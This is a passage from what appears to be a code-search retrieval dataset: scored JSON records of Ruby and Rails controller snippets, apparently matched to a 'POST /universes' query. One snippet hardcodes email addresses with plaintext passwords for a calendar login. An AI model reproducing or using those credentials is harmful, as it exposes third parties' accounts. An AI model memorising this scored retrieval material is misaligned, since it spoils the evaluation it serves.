"docid": "d8dcea8a6868979781211fdedcfe97df",
"score": "0.558932",
"text": "def index\n @announcements = Announcement.send(find_scope)\n\n respond_to do |format|\n format.html # index.html.erb\n format.rss # index.builder.rss\n format.xml { render :xml => @announcements }\n end\n end",
"title": ""
},
{
"docid": "336b964862a67bbc057b288680664dd7",
"score": "0.55891764",
"text": "def show\n @activity_tracking = ActivityTracking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity_tracking }\n end\n end",
"title": ""
},
{
"docid": "3eee555e2ef07ff47d8d0bcb2872d5d5",
"score": "0.5588656",
"text": "def get_accounting_activity_report_history_with_http_info(xero_tenant_id, options = {})\n opts = options.dup\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FinanceApi.get_accounting_activity_report_history ...'\n end\n # verify the required parameter 'xero_tenant_id' is set\n if @api_client.config.client_side_validation && xero_tenant_id.nil?\n fail ArgumentError, \"Missing the required parameter 'xero_tenant_id' when calling FinanceApi.get_accounting_activity_report_history\"\n end\n # resource path\n local_var_path = '/AccountingActivities/ReportHistory'\n\n # camelize keys of incoming `where` opts\n opts[:'where'] = @api_client.parameterize_where(opts[:'where']) if !opts[:'where'].nil?\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'endDate'] = opts[:'end_date'] if !opts[:'end_date'].nil?\n \n # XeroAPI's `IDs` convention openapi-generator does not snake_case properly.. manual over-riding `i_ds` malformations:\n query_params[:'IDs'] = @api_client.build_collection_param(opts[:'ids'], :csv) if !opts[:'ids'].nil?\n query_params[:'ContactIDs'] = @api_client.build_collection_param(opts[:'contact_ids'], :csv) if !opts[:'contact_ids'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'xero-tenant-id'] = xero_tenant_id\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'ReportHistoryResponse' \n\n # auth_names\n auth_names = opts[:auth_names] || ['OAuth2']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, \"FinanceApi\", new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FinanceApi#get_accounting_activity_report_history\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "aeb3e4a3e50b67c4b3df1553fdccbda0",
"score": "0.55787337",
"text": "def index\n @a3_reports = get_model.paginate :page => params[:page], :order => 'created_at DESC'\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @admin_renault_a3_reports }\n end\n end",
"title": ""
},
{
"docid": "040464ee30adb972c2805f341b3b0a1c",
"score": "0.55746907",
"text": "def index\n @service_visits = ServiceVisit.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @service_visits }\n end\n end",
"title": ""
},
{
"docid": "e3212a5a0f0cbad8b811e342112a8e4a",
"score": "0.55711025",
"text": "def index\n @p_reports = PReport.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @p_reports }\n end\n end",
"title": ""
},
{
"docid": "92d11fd4608a1df6ad6b89e7ed641fd5",
"score": "0.5566364",
"text": "def index\n @activities = Activity.all\n \n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"title": ""
},
{
"docid": "64644b8b84ca7f8c8e3627d1e65fd1c6",
"score": "0.5564431",
"text": "def index\n @account_plans = AccountPlan.grid\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @account_plans }\n end\n end",
"title": ""
},
{
"docid": "73ef8cbce95ca1f1c77f49120b3afd87",
"score": "0.5563363",
"text": "def report\n @events = Event.order :punchtime\n @events = @events.where :employee_id => params[:employee_id] if params[:employee_id]\n @events = @events.where :job_id => params[:job_id] if params[:job_id]\n\n @jobs = Job.where({:active => true})\n @employees = Employee.order(:lastname)\n\n @periods = periods\n\n respond_to do |format|\n format.html # report.html.erb\n format.json { render json: periods }\n end\n end",
"title": ""
},
{
"docid": "5e6436ebbb7fbaf6b5a15c76db2f5a1c",
"score": "0.55599993",
"text": "def activities(filter = nil)\n workspace_path = Workspace_path\n filter_by_date = nil\n if filter\n then\n filter_by_date = filter[:filter_by_date]\n end\n \n if filter && filter[:type] == \"task\"\n then\n t = task(filter[:id])\n workspace_id = t['shared_tags'][0]['id']\n workspace_path = \"/shared_tags/#{workspace_id}\"\n end\n\n url = @base_url + workspace_path + '/activity_streams.json'\n \n if filter && filter[:type] == \"user\"\n then\n url = @base_url + \"/users/#{filter[:id]}/activity_streams.json\"\n end\n\n \n ps = {:accept => :json, :params => {:filter_by_date => filter_by_date}}\n\n ret = get url, ps\n ret = JSON.parse(ret)\n\n if filter && filter[:type]\n then\n ret.select! {|x| x[\"description_with_meta\"][\"meta\"][filter[:type]][\"id\"].to_s == filter[:id] }\n end\n\n ret.each_index {|i| generate_link!(ret[i])}\n \n ret\n \n end",
"title": ""
},
{
"docid": "0671ff30623db8e331e477dafe1a4601",
"score": "0.55588007",
"text": "def index\n @tournament_reports = TournamentReport.all\n\n #respond_to do |format|\n # format.html # index.html.erb\n # format.xml { render :xml => @tournament_reports }\n #end\n\n require 'gcal4ruby'\n gcservice = GCal4Ruby::Service.new\n gcservice.authenticate('Support.Callahan@gmail.com', 'callahan4ultimate')\n @calendar = gcservice.calendars.first\n #@calendar.to_iframe({:showTitle => false,\n # :showNav => false,\n # :showPrint => false,\n # :showTabs => false,\n # :showCalendars => false,\n # :showTimezone => false,\n # :viewMode => 'AGENDA'})\n \n #g = GData.new\n #g.login('Rene.Swoboda@gmail.com', 'r79zx4tauren#')\n #@cal = g.find_calendar('Callahan')\n #@cal.to_s()\n \n @date = Time.parse(\"#{params[:date]} || Time.now\")\n end",
"title": ""
},
{
"docid": "21f43c1fee2c0f484afe7988619464b8",
"score": "0.55412143",
"text": "def report(type, extension, params)\n raise \"workspace_id is required\" if @workspace_id.nil?\n get \"#{type}#{extension}\", {\n :'user_agent' => @user_agent,\n :'workspace_id' => @workspace_id,\n }.merge(params)\n end",
"title": ""
},
{
"docid": "2c11d9503ec9ebe8448752593ca7615a",
"score": "0.5535171",
"text": "def activity(params = {})\n Unfuddle::Util.prepare_date(params[:start_date] ) if params[:start_date]\n params = {start_date: Unfuddle::Util.prepare_date(Date.today)}.merge params\n\n get(\"account/activity\", params)\n end",
"title": ""
},
{
"docid": "49817f0d02fa483788d889fafb0bde72",
"score": "0.5532399",
"text": "def stamps\n @engagements = Engagement.where(:campaign_id=>params[:campaign_id] , :engagement_type => QrCode::STAMP)\n respond_to do |format|\n format.html\n format.xml { render :xml => @engagements }\n format.json { render :text => @engagements.to_json}\n end\n end",
"title": ""
},
{
"docid": "e398a90c5e795be555f2f324a3940882",
"score": "0.5530619",
"text": "def generate_report\n\t\tid = params[:id]\n\t\turl = \"https://sdpm-appointment-service.herokuapp.com/appointment/#{id}/report\"\n\t\tresponse = RestClient::Request.execute(\n \t\tmethod: :get, \n \t\t\turl: url\n\t\t)\n\n\t\trender :json => response\n\tend",
"title": ""
},
{
"docid": "e9fd031da1ce36c75838e6f6add9d0c6",
"score": "0.55289626",
"text": "def test_downloadXmlReport\n report_srv = @adwords.get_service('Report', 13)\n\n # First we schedule a report\n job = AdWords::V13::ReportService::DefinedReportJob.new\n job.selectedReportType = 'Structure'\n job.aggregationTypes = 'Keyword'\n job.name = 'Report-%s' % DateTime.now.to_s\n job.selectedColumns = %w{Campaign AdGroup Keyword KeywordTypeDisplay}\n job.startDay = '2009-01-01'\n job.endDay = '2009-01-31'\n job_id = report_srv.scheduleReportJob(job).scheduleReportJobReturn\n\n # Now we use the downloadXmlReport method to download it\n report_data = report_srv.downloadXmlReport(job_id)\n\n # See if we got anything back\n assert((!report_data.nil? and !report_data.strip.empty?),\n 'Empty report returned; unable to verify correctness')\n\n # Check if we received valid XML as a reply\n doc = REXML::Document.new(report_data)\n\n # See if what we got back was XML, as we expected\n assert_not_nil(doc, 'Invalid XML returned; unable to verify correctness')\n end",
"title": ""
}
] |
636b6059b2defcc608ac00657a68b996
|
POST /universes POST /universes.json
|
[
{
"docid": "647517da1eea134180d57df2e4db228b",
"score": "0.5372722",
"text": "def create\n @universe = Universe.new(universe_params)\n\n respond_to do |format|\n if @universe.save\n format.html { redirect_to @universe, notice: 'Universe was successfully created.' }\n format.json { render action: 'show', status: :created, location: @universe }\n else\n format.html { render action: 'new' }\n format.json { render json: @universe.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"title": ""
}
] |
[
{
"docid": "bc214e2a6226f30ab90a07cb6bf6c1b0",
"score": "0.60839945",
"text": "def index\n @universes = Universe.all.page(params[:page]).per(25)\n respond_to do |format|\n format.html\n format.json { render json: @universes }\n end\n end",
"title": ""
},
{
"docid": "432395a643c5ba23ab18a9a7b13916c7",
"score": "0.5725981",
"text": "def create\n @unp = Unp.new(params[:unp])\n\n respond_to do |format|\n if @unp.save\n format.html { redirect_to @unp, notice: 'Unp was successfully created.' }\n format.json { render json: @unp, status: :created, location: @unp }\n else\n format.html { render action: \"new\" }\n format.json { render json: @unp.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25af11c6271d253e05e401d9ddad1523",
"score": "0.56407076",
"text": "def create\n @unova = Unova.new(unova_params)\n\n respond_to do |format|\n if @unova.save\n format.html { redirect_to @unova, notice: 'Unova was successfully created.' }\n format.json { render :show, status: :created, location: @unova }\n else\n format.html { render :new }\n format.json { render json: @unova.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9427f2e881bb78c1b3a8b66ae69fdcb5",
"score": "0.55891514",
"text": "def criar_sobrevivente\n @suvivor = Sobrevivente.create(\n name: params[:name], genero: params[:genero], idade: params[:idade],\n lat: params[:lat], lon: params[:lon],\n agua: params[:agua], comida: params[:comida], medicamento: params[:medicamento],\n municao: params[:municao]\n )\n render json: @suvivor\n end",
"title": ""
},
{
"docid": "aca7f1ceb783a68619408150a34cda35",
"score": "0.5580575",
"text": "def index\n @universes = Universe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @universes }\n end\n end",
"title": ""
},
{
"docid": "1b9c8e218f173dea7817b201380235e2",
"score": "0.54486537",
"text": "def volunter_by_me\n @requests = @current_user.volunters.map(&:request)\n json_response(@requests)\n end",
"title": ""
},
{
"docid": "72495a4c3ef92d9d6819dfd47e77e2eb",
"score": "0.53816086",
"text": "def create\n @uzser = Uzser.new(uzser_params)\n\n respond_to do |format|\n if @uzser.save\n format.html { redirect_to @uzser, notice: 'Uzser was successfully created.' }\n format.json { render :show, status: :created, location: @uzser }\n else\n format.html { render :new }\n format.json { render json: @uzser.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5c7597baa841fba74da9238afcfbe1b0",
"score": "0.53685623",
"text": "def create\n @u_ser = USer.new(u_ser_params)\n\n respond_to do |format|\n if @u_ser.save\n format.html { redirect_to @u_ser, notice: 'U ser was successfully created.' }\n format.json { render :show, status: :created, location: @u_ser }\n else\n format.html { render :new }\n format.json { render json: @u_ser.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48a3bac33545c7e13bc2b453b3ce776",
"score": "0.5298537",
"text": "def create\n @u_ser = USer.new(params[:u_ser])\n\n respond_to do |format|\n if @u_ser.save\n format.html { redirect_to @u_ser, notice: 'U ser was successfully created.' }\n format.json { render json: @u_ser, status: :created, location: @u_ser }\n else\n format.html { render action: \"new\" }\n format.json { render json: @u_ser.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c2b3b7a5232c64396a0c9bae7948cf7c",
"score": "0.52363175",
"text": "def new\n @unp = Unp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @unp }\n end\n end",
"title": ""
},
{
"docid": "cef28c6dd867fd099790eb8a5a354feb",
"score": "0.521923",
"text": "def create\r\n\t\t\t\tsurvivor = Survivor.new(survivor_create_params)\r\n\t\t\t\tsurvivor.abducted = false\r\n\t\t\t\tsurvivor.abduction_reports = 0\r\n\t\t\t\tif survivor.save\r\n\t\t\t\t\trender json: {status: 'SUCCESS', message:'Survivor Registrado', data:survivor},status: :ok\r\n\t\t\t\telse\r\n\t\t\t\t\trender json: {status: 'ERROR', message:'Survivor não registrado com sucesso', data:survivor.erros},status: :unprocessable_entity\r\n\t\t\t\tend\r\n\t\t\tend",
"title": ""
},
{
"docid": "f7746881d9af8f79ef462ace59af2df7",
"score": "0.51673144",
"text": "def create\n @verse = Verse.new(params[:verse])\n\n respond_to do |format|\n if @verse.save\n format.html { redirect_to @verse, notice: 'Verse was successfully created.' }\n format.json { render json: @verse, status: :created, location: @verse }\n else\n format.html { render action: \"new\" }\n format.json { render json: @verse.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f7746881d9af8f79ef462ace59af2df7",
"score": "0.51673144",
"text": "def create\n @verse = Verse.new(params[:verse])\n\n respond_to do |format|\n if @verse.save\n format.html { redirect_to @verse, notice: 'Verse was successfully created.' }\n format.json { render json: @verse, status: :created, location: @verse }\n else\n format.html { render action: \"new\" }\n format.json { render json: @verse.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8e7c9877e6f0b79c9cc87ede78c85d1b",
"score": "0.5156221",
"text": "def destroy\n @universe.destroy\n respond_to do |format|\n format.html { redirect_to universes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d6e6cbcc3538a174e44971abd4aea34f",
"score": "0.5146036",
"text": "def create\n @uen = Uen.new(uen_params)\n\n respond_to do |format|\n if @uen.save\n format.html { redirect_to @uen, notice: 'Uen was successfully created.' }\n format.json { render :show, status: :created, location: @uen }\n else\n format.html { render :new }\n format.json { render json: @uen.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d939dbe51500b0f0a44cc5176b95a028",
"score": "0.5032114",
"text": "def create\n @vestimentum = Vestimentum.new(vestimentum_params)\n\n respond_to do |format|\n if @vestimentum.save\n format.html { redirect_to @vestimentum, notice: 'Vestimentum was successfully created.' }\n format.json { render :show, status: :created, location: @vestimentum }\n else\n format.html { render :new }\n format.json { render json: @vestimentum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c3401d3351101c3897f8f9921b4973dc",
"score": "0.5029349",
"text": "def create\n @ulice = Ulice.new(ulice_params)\n\n respond_to do |format|\n if @ulice.save\n format.html { redirect_to @ulice, notice: 'Ulice was successfully created.' }\n format.json { render :show, status: :created, location: @ulice }\n else\n format.html { render :new }\n format.json { render json: @ulice.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fdbea9a3d7b4221cb9ab6835ddf52ce3",
"score": "0.50280523",
"text": "def create\n @usser = Usser.new(usser_params)\n\n respond_to do |format|\n if @usser.save\n format.html { redirect_to @usser, notice: 'Usser was successfully created.' }\n format.json { render :show, status: :created, location: @usser }\n else\n format.html { render :new }\n format.json { render json: @usser.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0e7ebc95bcb24e2b04a0117dbb5d1ad4",
"score": "0.50046587",
"text": "def create\n @interno_unidad = InternoUnidad.new(interno_unidad_params)\n\n respond_to do |format|\n if @interno_unidad.save\n format.html { redirect_to @interno_unidad, notice: 'Interno unidad was successfully created.' }\n format.json { render :show, status: :created, location: @interno_unidad }\n else\n format.html { render :new }\n format.json { render json: @interno_unidad.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51304b710a93b82641e159f09e8ba4b7",
"score": "0.49798003",
"text": "def survivor_params\n params.require(:survivor).permit(:name, :age, :gender, :lonlat, :infected?)\n end",
"title": ""
},
{
"docid": "3020018ae5d2ac1fba9032af6c5d727b",
"score": "0.49409127",
"text": "def create\n\n @vehicel = @user.vehicels.create(vehicel_params)\n respond_to do |format|\n if @vehicel.save\n format.html { redirect_to user_vehicels_path(@user, @vehicel) }\n format.json { render :show, status: :created, location: @vehicel }\n else\n format.html { render :new }\n format.json { render json: @vehicel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "724fd68f64a0f10ce4239b586379f7ee",
"score": "0.49315578",
"text": "def create\n @serie = Serie.new(serie_params)\n\n unless a = Author.find_by_id(params[:author_id]) || Author.find_by_name(params[:author_name].strip)\n a = Author.new\n a.name = params[:author_name].strip\n a.save!\n end\n @serie.authors << a\n\n unless m = Magazine.find_by_id(params[:magazine_id]) || Magazine.find_by_name(params[:magazine_name].strip)\n m = Magazine.new\n m.name = params[:magazine_name].strip\n m.publisher = params[:magazine_publisher].strip\n m.save!\n end\n @serie.magazines << m if m\n\n if params[:book_ids]\n params[:book_ids].each do |bid|\n @serie.books << Book.find(bid)\n end\n end\n\n respond_to do |format|\n if @serie.save\n format.html { redirect_to(root_path, :notice => 'Serie was successfully created.') }\n format.xml { render :xml => @serie, :status => :created, :location => @serie }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @serie.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c4885ea84be40ec9bcee69b9d1269368",
"score": "0.49218827",
"text": "def create\n @uder = Uder.new(uder_params)\n\n respond_to do |format|\n if @uder.save\n format.html { redirect_to @uder, notice: 'Uder was successfully created.' }\n format.json { render action: 'show', status: :created, location: @uder }\n else\n format.html { render action: 'new' }\n format.json { render json: @uder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d6a093b58885ff5c6157f1304aea68e4",
"score": "0.4917657",
"text": "def create\n @souvenior = Souvenior.new(souvenior_params)\n\n respond_to do |format|\n if @souvenior.save\n format.html { redirect_to root_path, notice: 'Souvenior was successfully created.' }\n format.json { render :show, status: :created, location: @souvenior }\n else\n format.html { render :new }\n format.json { render json: @souvenior.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "caf85c0b8e304d7bad1c4aabb418cfe4",
"score": "0.49143997",
"text": "def create\n @recipe = current_user.recipes.build(recipe_params)\n @recipe.user = current_user\n @recipe.save\n @measurs = Array.new\n @ingrs = Array.new\n @tgs = Array.new\n #ovo bi trebalo unutar sebe prikupiti sastojke i mjere\n parse_ingredients\n parse_tags\n @recipe.measurements = @measurs\n @recipe.ingredients = @ingrs\n @recipe.recipe_tags = @tgs\n\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to @recipe, notice: 'Recipe was successfully created.' }\n format.json { render :show, status: :created, location: @recipe }\n else\n format.html { render :new }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "16ecdca4ebf2baf54bd8576d1990f279",
"score": "0.49139607",
"text": "def create\n @universe = Universe.new(params[:universe])\n\n respond_to do |format|\n if @universe.save\n flash[:notice] = 'Universe was successfully created.'\n format.html { redirect_to(@universe) }\n format.xml { render :xml => @universe, :status => :created, :location => @universe }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @universe.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8ca40e70d18585af8dd537eff489d8b7",
"score": "0.4910298",
"text": "def survivor_params\n params.require(:survivor).permit(:name, :age, :gender, :latitude, :longitude, :infected, :water_amount, :ammunition_amount, :medication_amount, :food_amount)\n end",
"title": ""
},
{
"docid": "96371bd43116edea89eedb7a6a0bb8dc",
"score": "0.49064407",
"text": "def unova_params\n params.require(:unova).permit(:name, :type_1, :type_2, :height, :weight, :description, :number, :image)\n end",
"title": ""
},
{
"docid": "a4f0da0e12292f2b3bd43d6210457b70",
"score": "0.48965934",
"text": "def create\n @uzivatel = Uzivatel.new(uzivatel_params)\n\n respond_to do |format|\n if @uzivatel.save\n format.html { redirect_to @uzivatel, notice: 'Uzivatel was successfully created.' }\n format.json { render :show, status: :created, location: @uzivatel }\n else\n format.html { render :new }\n format.json { render json: @uzivatel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "282a43234cd399a4b7c4a2368825c59b",
"score": "0.48954958",
"text": "def create\n @elector = Elector.new(elector_params)\n\n if @elector.save\n render json: @elector, status: :created, location: @elector\n else\n render json: @elector.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "6251e6d08400b4fb147ef05c66d30b3a",
"score": "0.48935196",
"text": "def create\n @situacion_revistum = SituacionRevistum.new(situacion_revistum_params)\n\n respond_to do |format|\n if @situacion_revistum.save\n format.html { redirect_to @situacion_revistum, notice: 'Situacion revistum was successfully created.' }\n format.json { render json: @situacion_revistum, status: :created, location: @situacion_revistum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @situacion_revistum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "851e9be1ced731864e494d827fa76b28",
"score": "0.4874026",
"text": "def create\n @survivor = Survivor.new(params[:survivor])\n @survivor_update = SurvivorUpdate.new(params[:survivor_update])\n @profile = Profile.new(params[:profile])\n \n @duplicate_profiles = find_duplicate_profiles @profile\n \n @survivor.user = current_user\n @survivor_update.user = current_user\n @survivor.profile = @profile\n @survivor.last_status = @survivor_update.status\n @survivor.survivor_updates << @survivor_update\n \n respond_to do |format|\n if @duplicate_profiles.size > 0 and params[:commit] == 'Create'\n @duplicate_survivors = @duplicate_profiles.collect{|p| p.survivor}\n @locations = Location.find(:all, :order => ['name ASC'])\n flash[:notice] = \"Found #{@duplicate_profiles} potential duplicates\"\n format.fbml { render :action => \"duplicates\" }\n format.xml { render :xml => @survivor.errors, :status => :unprocessable_entity } \n elsif @survivor.save and @survivor_update.save and @profile.save\n @survivor.tweet unless @survivor.last_status == SurvivorUpdate::DECEASED_UNCONFIRMED\n begin\n NotificationPublisher.deliver_survivor_in_location_notification current_user, @survivor\n rescue\n logger.info \"#{app_name}: error trying to invoke NotificationPublisher.deliver_survivor_in_location_notification\"\n end\n flash[:notice] = 'Survivor was successfully created.'\n format.fbml { redirect_to(@survivor) }\n format.xml { render :xml => @survivor, :status => :created, :location => @survivor}\n else\n format.fbml { render :action => \"new\" }\n format.xml { render :xml => @survivor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "594d2a9be920453176aabf8da59c2320",
"score": "0.48535928",
"text": "def create\n @uva = Uva.new(uva_params)\n\n respond_to do |format|\n if @uva.save\n format.html { redirect_to @uva, notice: 'Uva was successfully created.' }\n format.json { render :show, status: :created, location: @uva }\n else\n format.html { render :new }\n format.json { render json: @uva.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3e72a248fe46eca697dfc206ca2cff4a",
"score": "0.48471236",
"text": "def create\n @lounges = Lounge.new(params[:lounge])\n if @lounges.save\n CustomLogger.debug(\"Lounge created\")\n CustomLogger.debug(\"--------------\") \n to_log(@lounges) \n @lounges = Lounge.new\n end\n @all_lounges = Lounge.all \n end",
"title": ""
},
{
"docid": "85139fd40fb7673fa5e35c16679ba502",
"score": "0.48389608",
"text": "def uzser_params\n params.require(:uzser).permit(:name, :name2, :name3)\n end",
"title": ""
},
{
"docid": "6172210bf07bc24ce55806381aa2cf18",
"score": "0.4835477",
"text": "def create\n\t \n\t \n\t @event = @univers.events.build(event_params)\n\n\t respond_to do |format|\n\t\tif @event.save\n\t\t format.html { redirect_to univers_events_path, notice: 'Event was successfully created.' }\nformat.js\n\t\t\tformat.json { render :show, status: :created, location: [@univers, @event] }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n\t end \n end\n end",
"title": ""
},
{
"docid": "23b7f11ae34c212608012009ee4fe813",
"score": "0.48221934",
"text": "def create\n #create venues trought users controller\n end",
"title": ""
},
{
"docid": "792b2493be02e1c67e2e8a96c794425c",
"score": "0.4802707",
"text": "def update_house\n get_rep_from_api[\"results\"][0][\"members\"].each do |rep|\n Representative.create(\n pp_id: rep[\"id\"],\n first_name: rep[\"first_name\"],\n last_name: rep[\"last_name\"],\n party: rep[\"party\"],\n in_office: rep[\"in_office\"],\n state: rep[\"state\"],\n votes_with_party_pct: rep[\"votes_with_party_pct\"],\n district: rep[\"district\"]\n )\n end\nend",
"title": ""
},
{
"docid": "ddc96d65d095c40a8a9866dbcc5f5a39",
"score": "0.48010626",
"text": "def create\n @ordinateur = Ordinateur.new(ordinateur_params)\n\n respond_to do |format|\n if @ordinateur.save\n format.html { redirect_to @ordinateur, notice: 'Ordinateur was successfully created.' }\n format.json { render :show, status: :created, location: @ordinateur }\n else\n format.html { render :new }\n format.json { render json: @ordinateur.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0cac1a532e09f10bd007de4da334eedb",
"score": "0.47990474",
"text": "def create\n @unidade_federativa = UnidadeFederativa.new(unidade_federativa_params)\n\n respond_to do |format|\n if @unidade_federativa.save\n format.html { redirect_to @unidade_federativa, notice: 'Unidade federativa was successfully created.' }\n format.json { render :show, status: :created, location: @unidade_federativa }\n else\n format.html { render :new }\n format.json { render json: @unidade_federativa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "adfbc5043aebe04a0ffa2e308bf644f9",
"score": "0.47942382",
"text": "def destroy\n @unp = Unp.find(params[:id])\n @unp.destroy\n\n respond_to do |format|\n format.html { redirect_to unps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1dfcb1c085810733c181349b5d0cc335",
"score": "0.47847995",
"text": "def create\n @u = U.new(params[:u])\n\n respond_to do |format|\n if @u.save\n format.html { redirect_to edit_u_path @u, notice: 'U was successfully created.' }\n # format.json { render json: @u, status: :created, location: @u }\n else\n format.html { render action: \"new\" }\n format.json { render json: @u.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "abc51dcb1a39015d9f7952ac5011ef95",
"score": "0.47843096",
"text": "def create\n \n if(!params[\"venue\"].blank?)\n Venue.save_multiple_venues(@curr_user,params[\"venue\"])\n @status=true\n else\n @status=false\n end\n respond_to do |format|\n if @status\n format.html { redirect_to :action=>:index }\n format.json { render :json => @venues, :status => :created, :location => @venues }\n else\n flash[:error] = 'Please select atleast one checkbox to create venue'\n format.html { redirect_to :action => \"search\"}\n end \n end\n end",
"title": ""
},
{
"docid": "d37cd63530427586c45ae5e57fc6fd00",
"score": "0.4777344",
"text": "def create\n @entrevistum = Entrevistum.new(entrevistum_params)\n\n respond_to do |format|\n if @entrevistum.save\n format.html { redirect_to entrevista_path, notice: 'Entrevistum was successfully created.' }\n format.json { render :index, status: :created, location: @entrevistum }\n else\n format.html { render :new }\n format.json { render json: @entrevistum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4a9e59f45bbfcaa1ede2b23ca36f7223",
"score": "0.47737715",
"text": "def create\n @lounge = Lounge.new(lounge_params)\n\n respond_to do |format|\n if @lounge.save\n format.html { redirect_to @lounge, notice: 'Lounge was successfully created.' }\n format.json { render :show, status: :created, location: @lounge }\n else\n format.html { render :new }\n format.json { render json: @lounge.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d98d8f46eca8b506e8e384d2770a0bf7",
"score": "0.47648913",
"text": "def new\n status = params[:status] || SurvivorUpdate::MISSING\n @locations = Location.find(:all, :order => ['name ASC'])\n @survivor = Survivor.new :location_id => Location.default.id\n @survivor.last_status = status\n @survivor_update = SurvivorUpdate.new :status => status\n @profile = Profile.new\n \n respond_to do |format|\n format.fbml # new.fbml.erb\n format.xml { render :xml => @survivor}\n end\n end",
"title": ""
},
{
"docid": "49ca302a6197f0de8ec718b6ae8b52e3",
"score": "0.47595546",
"text": "def survivor_params\n params.require(:survivor).permit(:name, :age, :sex, :captured)\n end",
"title": ""
},
{
"docid": "f3add65b171f512c9d051e6b04eac970",
"score": "0.4755548",
"text": "def create\n @uset = Uset.new(params[:uset])\n\n respond_to do |format|\n if @uset.save\n format.html { redirect_to @uset, notice: 'Uset was successfully created.' }\n format.json { render json: @uset, status: :created, location: @uset }\n else\n format.html { render action: \"new\" }\n format.json { render json: @uset.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fd797b2a60a4b55272c03dade8c7dcee",
"score": "0.47554424",
"text": "def create\n @unidad = current_user.empresa.unidades.new(unidad_params)\n\n respond_to do |format|\n if @unidad.save\n format.html { redirect_to @unidad, notice: 'Unidad was successfully created.' }\n format.json { render action: 'show', status: :created, location: @unidad }\n else\n format.html { render action: 'new' }\n format.json { render json: @unidad.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1d87a383073069d35f23bf4997857ffa",
"score": "0.4754459",
"text": "def create\n @vegetal = Vegetal.new(vegetal_params)\n\n respond_to do |format|\n if @vegetal.save\n format.html { redirect_to @vegetal, notice: 'Vegetal was successfully created.' }\n format.json { render :show, status: :created, location: @vegetal }\n else\n format.html { render :new }\n format.json { render json: @vegetal.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a6a7206d674acc63c21a301082946a50",
"score": "0.47532475",
